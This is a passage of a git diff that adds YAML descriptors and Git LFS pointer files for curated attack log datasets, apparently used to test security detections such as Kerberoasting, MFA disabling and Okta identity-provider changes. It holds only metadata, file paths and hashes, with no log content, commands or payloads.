b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/cisco_duo_administrator-b8eb4e71-c741-468c-bdef-70642255334a.log new file mode 100644 index 000000000..587f0a58b --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/cisco_duo_administrator-b8eb4e71-c741-468c-bdef-70642255334a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0fd9959275bb81a366c575d50352783257871e9ace799c3d7a98859dd56a02ea +size 413 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/T1556_cisco_duo_policy_deny_access.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/T1556_cisco_duo_policy_deny_access.yml new file mode 100644 index 000000000..79dcab347 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/T1556_cisco_duo_policy_deny_access.yml @@ -0,0 +1,12 @@ +author: STRT +id: 70059ef1-7a04-485e-81cb-c52a20b99ff3 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Deny Access +environment: attack_range +directory: cisco_duo_policy_deny_access +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/cisco_duo_administrator-70059ef1-7a04-485e-81cb-c52a20b99ff3.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/cisco_duo_administrator-70059ef1-7a04-485e-81cb-c52a20b99ff3.log b/datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/cisco_duo_administrator-70059ef1-7a04-485e-81cb-c52a20b99ff3.log new file mode 100644 index 000000000..567c8a859 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_deny_access/cisco_duo_administrator-70059ef1-7a04-485e-81cb-c52a20b99ff3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:42cebeb2d139f15ae468d2e41bd259d309d7f8f7177330764b7a3e6ef9045369 +size 816 diff --git a/datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/T1556_cisco_duo_unusual_admin_login.yml b/datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/T1556_cisco_duo_unusual_admin_login.yml new file mode 100644 index 000000000..157e9c4bc --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/T1556_cisco_duo_unusual_admin_login.yml @@ -0,0 +1,13 @@ +author: STRT +id: 24e5cbd7-99d8-4d7a-a720-d7654d2bd73e +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Admin Login Unusual + Browser +environment: attack_range +directory: cisco_duo_unusual_admin_login +mitre_technique: [] +datasets: +- name: cisco_duo_activity + path: /datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/cisco_duo_activity-24e5cbd7-99d8-4d7a-a720-d7654d2bd73e.log + sourcetype: cisco:duo:activity + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/cisco_duo_activity-24e5cbd7-99d8-4d7a-a720-d7654d2bd73e.log b/datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/cisco_duo_activity-24e5cbd7-99d8-4d7a-a720-d7654d2bd73e.log new file mode 100644 index 000000000..ce5bc651a --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_unusual_admin_login/cisco_duo_activity-24e5cbd7-99d8-4d7a-a720-d7654d2bd73e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7c1ccd32362cb061b9f6e952707a904fff554594611dc7a464d61649a13c23b1 +size 1082 diff --git a/datasets/attack_techniques/T1556/disable_lsa_protection_new/T1556_disable_lsa_protection_new.yml b/datasets/attack_techniques/T1556/disable_lsa_protection_new/T1556_disable_lsa_protection_new.yml new file mode 100644 index 000000000..127c61907 --- /dev/null +++ b/datasets/attack_techniques/T1556/disable_lsa_protection_new/T1556_disable_lsa_protection_new.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9179bc1f-c1e1-4ec9-979d-3a463c891c16 +date: '2026-07-10' +description: Curated attack data generated for detection Disabling Windows Local Security + Authority Defences via Registry +environment: attack_range +directory: disable_lsa_protection_new +mitre_technique: [] +datasets: +- name: lsa_reg_deletion_modification + path: /datasets/attack_techniques/T1556/disable_lsa_protection_new/lsa_reg_deletion_modification-9179bc1f-c1e1-4ec9-979d-3a463c891c16.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1556/disable_lsa_protection_new/lsa_reg_deletion_modification-9179bc1f-c1e1-4ec9-979d-3a463c891c16.log b/datasets/attack_techniques/T1556/disable_lsa_protection_new/lsa_reg_deletion_modification-9179bc1f-c1e1-4ec9-979d-3a463c891c16.log new file mode 100644 index 000000000..f20518604 --- /dev/null +++ b/datasets/attack_techniques/T1556/disable_lsa_protection_new/lsa_reg_deletion_modification-9179bc1f-c1e1-4ec9-979d-3a463c891c16.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e64abb6ad2fae9bcf6a45d40094fd0e2981fe25112eec0cc92bde6b429ab232 +size 38802 diff --git a/datasets/attack_techniques/T1556/gcp_disable_mfa/T1556_gcp_disable_mfa.yml b/datasets/attack_techniques/T1556/gcp_disable_mfa/T1556_gcp_disable_mfa.yml new file mode 100644 index 000000000..9c46669d8 --- /dev/null +++ b/datasets/attack_techniques/T1556/gcp_disable_mfa/T1556_gcp_disable_mfa.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1ce964dc-04c5-476d-af91-db04464804ca +date: '2026-07-10' +description: Curated attack data generated for detection GCP Multi-Factor Authentication + Disabled +environment: attack_range +directory: gcp_disable_mfa +mitre_technique: [] +datasets: +- name: gws_admin + path: /datasets/attack_techniques/T1556/gcp_disable_mfa/gws_admin-1ce964dc-04c5-476d-af91-db04464804ca.log + sourcetype: gws:reports:admin + source: gws:reports:admin diff --git a/datasets/attack_techniques/T1556/gcp_disable_mfa/gws_admin-1ce964dc-04c5-476d-af91-db04464804ca.log b/datasets/attack_techniques/T1556/gcp_disable_mfa/gws_admin-1ce964dc-04c5-476d-af91-db04464804ca.log new file mode 100644 index 000000000..a5f4a146e --- /dev/null +++ b/datasets/attack_techniques/T1556/gcp_disable_mfa/gws_admin-1ce964dc-04c5-476d-af91-db04464804ca.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f3d2fa6a1e78857bf03d606276a19fecb3c26869c423052c401ce34be4be1924 +size 567 diff --git a/datasets/attack_techniques/T1556/o365_disable_mfa/T1556_o365_disable_mfa.yml b/datasets/attack_techniques/T1556/o365_disable_mfa/T1556_o365_disable_mfa.yml new file mode 100644 index 000000000..c2ca79061 --- /dev/null +++ b/datasets/attack_techniques/T1556/o365_disable_mfa/T1556_o365_disable_mfa.yml @@ -0,0 +1,12 @@ +author: STRT +id: ef29c24c-ccf7-4401-9cb3-f22b39abe95f +date: '2026-07-10' +description: Curated attack data generated for detection O365 Disable MFA +environment: attack_range +directory: o365_disable_mfa +mitre_technique: [] +datasets: +- name: o365_disable_mfa + path: /datasets/attack_techniques/T1556/o365_disable_mfa/o365_disable_mfa-ef29c24c-ccf7-4401-9cb3-f22b39abe95f.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1556/o365_disable_mfa/o365_disable_mfa-ef29c24c-ccf7-4401-9cb3-f22b39abe95f.log b/datasets/attack_techniques/T1556/o365_disable_mfa/o365_disable_mfa-ef29c24c-ccf7-4401-9cb3-f22b39abe95f.log new file mode 100644 index 000000000..5fa290bf1 --- /dev/null +++ b/datasets/attack_techniques/T1556/o365_disable_mfa/o365_disable_mfa-ef29c24c-ccf7-4401-9cb3-f22b39abe95f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:09a52fb55a72897c4fee54c70aebbde2eb5de7e32f6bdf416fd5fbbb8c2a3d2b +size 1765 diff --git a/datasets/attack_techniques/T1556/o365_sso_logon_errors/T1556_o365_sso_logon_errors.yml b/datasets/attack_techniques/T1556/o365_sso_logon_errors/T1556_o365_sso_logon_errors.yml new file mode 100644 index 000000000..3f2a0df87 --- /dev/null +++ b/datasets/attack_techniques/T1556/o365_sso_logon_errors/T1556_o365_sso_logon_errors.yml @@ -0,0 +1,13 @@ +author: STRT +id: 82cb21cb-b741-4a7b-866f-afbb041b6ffe +date: '2026-07-10' +description: Curated attack data generated for detection O365 Excessive SSO logon + errors +environment: attack_range +directory: o365_sso_logon_errors +mitre_technique: [] +datasets: +- name: o365_sso_logon_errors2 + path: /datasets/attack_techniques/T1556/o365_sso_logon_errors/o365_sso_logon_errors2-82cb21cb-b741-4a7b-866f-afbb041b6ffe.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1556/o365_sso_logon_errors/o365_sso_logon_errors2-82cb21cb-b741-4a7b-866f-afbb041b6ffe.log b/datasets/attack_techniques/T1556/o365_sso_logon_errors/o365_sso_logon_errors2-82cb21cb-b741-4a7b-866f-afbb041b6ffe.log new file mode 100644 index 000000000..75a956323 --- /dev/null +++ b/datasets/attack_techniques/T1556/o365_sso_logon_errors/o365_sso_logon_errors2-82cb21cb-b741-4a7b-866f-afbb041b6ffe.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:efb16f78d9d8862e9710def705af04aa60f0b91c528a86d93c2073ffe3f50dca +size 33781 diff --git a/datasets/attack_techniques/T1556/okta_idp/T1556_okta_idp.yml b/datasets/attack_techniques/T1556/okta_idp/T1556_okta_idp.yml new file mode 100644 index 000000000..aced7b9f8 --- /dev/null +++ b/datasets/attack_techniques/T1556/okta_idp/T1556_okta_idp.yml @@ -0,0 +1,12 @@ +author: STRT +id: 6461eef3-b3ea-4135-85bf-71210e38185f +date: '2026-07-13' +description: Curated attack data generated for detection Okta IDP Lifecycle Modifications +environment: attack_range +directory: okta_idp +mitre_technique: [] +datasets: +- name: okta + path: /datasets/attack_techniques/T1556/okta_idp/okta-6461eef3-b3ea-4135-85bf-71210e38185f.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1556/okta_idp/okta-6461eef3-b3ea-4135-85bf-71210e38185f.log b/datasets/attack_techniques/T1556/okta_idp/okta-6461eef3-b3ea-4135-85bf-71210e38185f.log new file mode 100644 index 000000000..b38fecf48 --- /dev/null +++ b/datasets/attack_techniques/T1556/okta_idp/okta-6461eef3-b3ea-4135-85bf-71210e38185f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dc4a993bb915af42c13d94af5ba319f50b482d4d8b5e4734222d43a8cc5c7b33 +size 10350 diff --git a/datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/T1558.001_kerberos_service_ticket_request_using_rc4_encryption.yml b/datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/T1558.001_kerberos_service_ticket_request_using_rc4_encryption.yml new file mode 100644 index 000000000..b32a37cb3 --- /dev/null +++ b/datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/T1558.001_kerberos_service_ticket_request_using_rc4_encryption.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9bcb0fc5-fd0b-4834-bfd3-13b187415a9a +date: '2026-07-10' +description: Curated attack data generated for detection Kerberos Service Ticket Request + Using RC4 Encryption +environment: attack_range +directory: kerberos_service_ticket_request_using_rc4_encryption +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/windows-xml-9bcb0fc5-fd0b-4834-bfd3-13b187415a9a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/windows-xml-9bcb0fc5-fd0b-4834-bfd3-13b187415a9a.log b/datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/windows-xml-9bcb0fc5-fd0b-4834-bfd3-13b187415a9a.log new file mode 100644 index 000000000..6af09dccd --- /dev/null +++ b/datasets/attack_techniques/T1558.001/kerberos_service_ticket_request_using_rc4_encryption/windows-xml-9bcb0fc5-fd0b-4834-bfd3-13b187415a9a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:841b4bc0bf673cd879d632a521f417362fa31e686f37dd742cede4dae6a66bd4 +size 1106 diff --git a/datasets/attack_techniques/T1558.003/atomic_red_team/T1558.003_atomic_red_team.yml b/datasets/attack_techniques/T1558.003/atomic_red_team/T1558.003_atomic_red_team.yml new file mode 100644 index 000000000..b9279c45b --- /dev/null +++ b/datasets/attack_techniques/T1558.003/atomic_red_team/T1558.003_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: d9abfc74-06b4-4fec-b5f6-de3e2cff2784 +date: '2026-07-11' +description: Curated attack data generated for detection ServicePrincipalNames Discovery + with SetSPN +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon_setspn + path: /datasets/attack_techniques/T1558.003/atomic_red_team/windows-sysmon_setspn-d9abfc74-06b4-4fec-b5f6-de3e2cff2784.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1558.003/atomic_red_team/windows-sysmon_setspn-d9abfc74-06b4-4fec-b5f6-de3e2cff2784.log b/datasets/attack_techniques/T1558.003/atomic_red_team/windows-sysmon_setspn-d9abfc74-06b4-4fec-b5f6-de3e2cff2784.log new file mode 100644 index 000000000..4ce31d1f7 --- /dev/null +++ b/datasets/attack_techniques/T1558.003/atomic_red_team/windows-sysmon_setspn-d9abfc74-06b4-4fec-b5f6-de3e2cff2784.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:20a276e15c5336afc9abcce2acfe7fc0cd603174eede9b95d4ee01d3ee1bf208 +size 37984 diff --git a/datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/T1558.003_kerberoasting_spn_request_with_rc4_encryption.yml b/datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/T1558.003_kerberoasting_spn_request_with_rc4_encryption.yml new file mode 100644 index 000000000..8cf15e0f2 --- /dev/null +++ b/datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/T1558.003_kerberoasting_spn_request_with_rc4_encryption.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2d3fc9cd-f303-4804-b180-e27f7eef6743 +date: '2026-07-10' +description: Curated attack data generated for detection Kerberoasting spn request + with RC4 encryption +environment: attack_range +directory: kerberoasting_spn_request_with_rc4_encryption +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/windows-xml-2d3fc9cd-f303-4804-b180-e27f7eef6743.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/windows-xml-2d3fc9cd-f303-4804-b180-e27f7eef6743.log b/datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/windows-xml-2d3fc9cd-f303-4804-b180-e27f7eef6743.log new file mode 100644 index 000000000..4007eaed9 --- /dev/null +++ b/datasets/attack_techniques/T1558.003/kerberoasting_spn_request_with_rc4_encryption/windows-xml-2d3fc9cd-f303-4804-b180-e27f7eef6743.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fd4d9e35bd90964710a2f67bd90476ac69301310256bb319b16662aa04821d79 +size 1127 diff --git a/datasets/attack_techniques/T1558.003/powerview-2/T1558.003_powerview-2.yml b/datasets/attack_techniques/T1558.003/powerview-2/T1558.003_powerview-2.yml new file mode 100644 index 000000000..7a4188335 --- /dev/null +++ b/datasets/attack_techniques/T1558.003/powerview-2/T1558.003_powerview-2.yml @@ -0,0 +1,12 @@ +author: STRT +id: d2add060-78ef-4f51-a08d-d9773eda55a7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerView SPN Discovery +environment: attack_range +directory: powerview-2 +mitre_technique: [] +datasets: +- name: windows-powershell + path: /datasets/attack_techniques/T1558.003/powerview-2/windows-powershell-d2add060-78ef-4f51-a08d-d9773eda55a7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1558.003/powerview-2/windows-powershell-d2add060-78ef-4f51-a08d-d9773eda55a7.log b/datasets/attack_techniques/T1558.003/powerview-2/windows-powershell-d2add060-78ef-4f51-a08d-d9773eda55a7.log new file mode 100644 index 000000000..6d376d007 --- /dev/null +++ b/datasets/attack_techniques/T1558.003/powerview-2/windows-powershell-d2add060-78ef-4f51-a08d-d9773eda55a7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:48013dfc78fc0a1eedca923d43747ea85f9969e496704a1e040a157e21c870bc +size 1821 diff --git a/datasets/attack_techniques/T1558.003/powerview/T1558.003_powerview.yml b/datasets/attack_techniques/T1558.003/powerview/T1558.003_powerview.yml new file mode 100644 index 000000000..7dcb94cbf --- /dev/null +++ b/datasets/attack_techniques/T1558.003/powerview/T1558.003_powerview.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7499a778-410f-4b51-989a-f9dd704526fb +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerView Kerberos + Service Ticket Request +environment: attack_range +directory: powerview +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1558.003/powerview/windows-powershell-xml-7499a778-410f-4b51-989a-f9dd704526fb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1558.003/powerview/windows-powershell-xml-7499a778-410f-4b51-989a-f9dd704526fb.log b/datasets/attack_techniques/T1558.003/powerview/windows-powershell-xml-7499a778-410f-4b51-989a-f9dd704526fb.log new file mode 100644 index 000000000..78818f5fa --- /dev/null +++ b/datasets/attack_techniques/T1558.003/powerview/windows-powershell-xml-7499a778-410f-4b51-989a-f9dd704526fb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e3ab10550471e05b18d85da93b5e7437f0eaa44a444fee986c57c80c1c53623f +size 911 diff --git a/datasets/attack_techniques/T1558.004/getaduser/T1558.004_getaduser.yml b/datasets/attack_techniques/T1558.004/getaduser/T1558.004_getaduser.yml new file mode 100644 index 000000000..0181d1d00 --- /dev/null +++ b/datasets/attack_techniques/T1558.004/getaduser/T1558.004_getaduser.yml @@ -0,0 +1,13 @@ +author: STRT +id: ed56e4b8-cc60-4867-9baa-8134f732e5bb +date: '2026-07-10' +description: Curated attack data generated for detection Disabled Kerberos Pre-Authentication + Discovery With Get-ADUser +environment: attack_range +directory: getaduser +mitre_technique: [] +datasets: +- name: get-aduser-powershell + path: /datasets/attack_techniques/T1558.004/getaduser/get-aduser-powershell-ed56e4b8-cc60-4867-9baa-8134f732e5bb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1558.004/getaduser/get-aduser-powershell-ed56e4b8-cc60-4867-9baa-8134f732e5bb.log b/datasets/attack_techniques/T1558.004/getaduser/get-aduser-powershell-ed56e4b8-cc60-4867-9baa-8134f732e5bb.log new file mode 100644 index 000000000..a588c95b0 --- /dev/null +++ b/datasets/attack_techniques/T1558.004/getaduser/get-aduser-powershell-ed56e4b8-cc60-4867-9baa-8134f732e5bb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b13d8e0472a51c062b7c85f54dfa10e40230ea2813bbc0442ac33939b345c643 +size 2057 diff --git a/datasets/attack_techniques/T1558.004/powershell/T1558.004_powershell.yml b/datasets/attack_techniques/T1558.004/powershell/T1558.004_powershell.yml new file mode 100644 index 000000000..13f12de47 --- /dev/null +++ b/datasets/attack_techniques/T1558.004/powershell/T1558.004_powershell.yml @@ -0,0 +1,13 @@ +author: STRT +id: 33f2155f-5a28-4f4b-8571-e8c40fed4fe6 +date: '2026-07-10' +description: Curated attack data generated for detection Kerberos Pre-Authentication + Flag Disabled with PowerShell +environment: attack_range +directory: powershell +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1558.004/powershell/windows-powershell-xml-33f2155f-5a28-4f4b-8571-e8c40fed4fe6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1558.004/powershell/windows-powershell-xml-33f2155f-5a28-4f4b-8571-e8c40fed4fe6.log b/datasets/attack_techniques/T1558.004/powershell/windows-powershell-xml-33f2155f-5a28-4f4b-8571-e8c40fed4fe6.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1558.004/powershell/windows-powershell-xml-33f2155f-5a28-4f4b-8571-e8c40fed4fe6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/T1558_windows_computer_account_requesting_kerberos_ticket.yml b/datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/T1558_windows_computer_account_requesting_kerberos_ticket.yml new file mode 100644 index 000000000..177a114d3 --- /dev/null +++ b/datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/T1558_windows_computer_account_requesting_kerberos_ticket.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9d8bba31-21d6-40b5-8367-35a946bc2d7e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Computer Account + Requesting Kerberos Ticket +environment: attack_range +directory: windows_computer_account_requesting_kerberos_ticket +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/windows-xml-9d8bba31-21d6-40b5-8367-35a946bc2d7e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/windows-xml-9d8bba31-21d6-40b5-8367-35a946bc2d7e.log b/datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/windows-xml-9d8bba31-21d6-40b5-8367-35a946bc2d7e.log new file mode 100644 index 000000000..932e96e89 --- /dev/null +++ b/datasets/attack_techniques/T1558/windows_computer_account_requesting_kerberos_ticket/windows-xml-9d8bba31-21d6-40b5-8367-35a946bc2d7e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2f69a37c2cf7eb20e7fc3b3ea4b32122472e7c65851be734b0c33dc5ccbfb7fa +size 16309 diff --git a/datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/T1558_windows_kerberos_local_successful_logon.yml b/datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/T1558_windows_kerberos_local_successful_logon.yml new file mode 100644 index 000000000..f5c7eb4fd --- /dev/null +++ b/datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/T1558_windows_kerberos_local_successful_logon.yml @@ -0,0 +1,13 @@ +author: STRT +id: a20c56a9-f9cb-4b0c-a68e-517ce5b7e8d3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Kerberos Local Successful + Logon +environment: attack_range +directory: windows_kerberos_local_successful_logon +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/windows-xml-a20c56a9-f9cb-4b0c-a68e-517ce5b7e8d3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/windows-xml-a20c56a9-f9cb-4b0c-a68e-517ce5b7e8d3.log b/datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/windows-xml-a20c56a9-f9cb-4b0c-a68e-517ce5b7e8d3.log new file mode 100644 index 000000000..9977de912 --- /dev/null +++ b/datasets/attack_techniques/T1558/windows_kerberos_local_successful_logon/windows-xml-a20c56a9-f9cb-4b0c-a68e-517ce5b7e8d3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cbe6720c496cc1a815d7f3dd9d7bbfebd3b688272eda9a64a5c22a30c6d37d70 +size 5303 diff --git a/datasets/attack_techniques/T1559/anonymous_pipe/T1559_anonymous_pipe.yml b/datasets/attack_techniques/T1559/anonymous_pipe/T1559_anonymous_pipe.yml new file mode 100644 index 000000000..ee88623d4 --- /dev/null +++ b/datasets/attack_techniques/T1559/anonymous_pipe/T1559_anonymous_pipe.yml @@ -0,0 +1,12 @@ +author: STRT +id: 14d71aaf-e8e9-4686-a9c0-09199bd34e1f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Anonymous Pipe Activity +environment: attack_range +directory: anonymous_pipe +mitre_technique: [] +datasets: +- name: anonymouspipe + path: /datasets/attack_techniques/T1559/anonymous_pipe/anonymouspipe-14d71aaf-e8e9-4686-a9c0-09199bd34e1f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1559/anonymous_pipe/anonymouspipe-14d71aaf-e8e9-4686-a9c0-09199bd34e1f.log b/datasets/attack_techniques/T1559/anonymous_pipe/anonymouspipe-14d71aaf-e8e9-4686-a9c0-09199bd34e1f.log new file mode 100644 index 000000000..c3bb3a042 --- /dev/null +++ b/datasets/attack_techniques/T1559/anonymous_pipe/anonymouspipe-14d71aaf-e8e9-4686-a9c0-09199bd34e1f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7f88f36445614901cd755aeeb7a76e0f2619a102450df842df3531176b805764 +size 16040 diff --git a/datasets/attack_techniques/T1560.001/archive_utility/T1560.001_archive_utility.yml b/datasets/attack_techniques/T1560.001/archive_utility/T1560.001_archive_utility.yml new file mode 100644 index 000000000..9dcd34ac6 --- /dev/null +++ b/datasets/attack_techniques/T1560.001/archive_utility/T1560.001_archive_utility.yml @@ -0,0 +1,12 @@ +author: STRT +id: 81b1cd62-9b33-405a-ae6c-acd7bb947a1a +date: '2026-07-10' +description: Curated attack data generated for detection Anomalous usage of 7zip +environment: attack_range +directory: archive_utility +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1560.001/archive_utility/windows-sysmon-81b1cd62-9b33-405a-ae6c-acd7bb947a1a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1560.001/archive_utility/windows-sysmon-81b1cd62-9b33-405a-ae6c-acd7bb947a1a.log b/datasets/attack_techniques/T1560.001/archive_utility/windows-sysmon-81b1cd62-9b33-405a-ae6c-acd7bb947a1a.log new file mode 100644 index 000000000..96fb2a9e3 --- /dev/null +++ b/datasets/attack_techniques/T1560.001/archive_utility/windows-sysmon-81b1cd62-9b33-405a-ae6c-acd7bb947a1a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:976f57c522be331d7d4f0fd22cdcbd351b5d4275b3ef0f74989f042692be6f75 +size 1883 diff --git a/datasets/attack_techniques/T1560.001/archive_utility_darkgate/T1560.001_archive_utility_darkgate.yml b/datasets/attack_techniques/T1560.001/archive_utility_darkgate/T1560.001_archive_utility_darkgate.yml new file mode 100644 index 000000000..9a554c178 --- /dev/null +++ b/datasets/attack_techniques/T1560.001/archive_utility_darkgate/T1560.001_archive_utility_darkgate.yml @@ -0,0 +1,13 @@ +author: STRT +id: 777cdf2b-b87f-4a29-8189-522194ced19a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Archive Collected + Data via Rar +environment: attack_range +directory: archive_utility_darkgate +mitre_technique: [] +datasets: +- name: rar_sys + path: /datasets/attack_techniques/T1560.001/archive_utility_darkgate/rar_sys-777cdf2b-b87f-4a29-8189-522194ced19a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1560.001/archive_utility_darkgate/rar_sys-777cdf2b-b87f-4a29-8189-522194ced19a.log b/datasets/attack_techniques/T1560.001/archive_utility_darkgate/rar_sys-777cdf2b-b87f-4a29-8189-522194ced19a.log new file mode 100644 index 000000000..316823e4d --- /dev/null +++ b/datasets/attack_techniques/T1560.001/archive_utility_darkgate/rar_sys-777cdf2b-b87f-4a29-8189-522194ced19a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:36686da83c770cf5d310a6b2d1820db3bdcdd5d4fc6c0a343aee98ffc4574e67 +size 1917 diff --git a/datasets/attack_techniques/T1560/archived_in_temp_dir/T1560_archived_in_temp_dir.yml b/datasets/attack_techniques/T1560/archived_in_temp_dir/T1560_archived_in_temp_dir.yml new file mode 100644 index 000000000..54e25f317 --- /dev/null +++ b/datasets/attack_techniques/T1560/archived_in_temp_dir/T1560_archived_in_temp_dir.yml 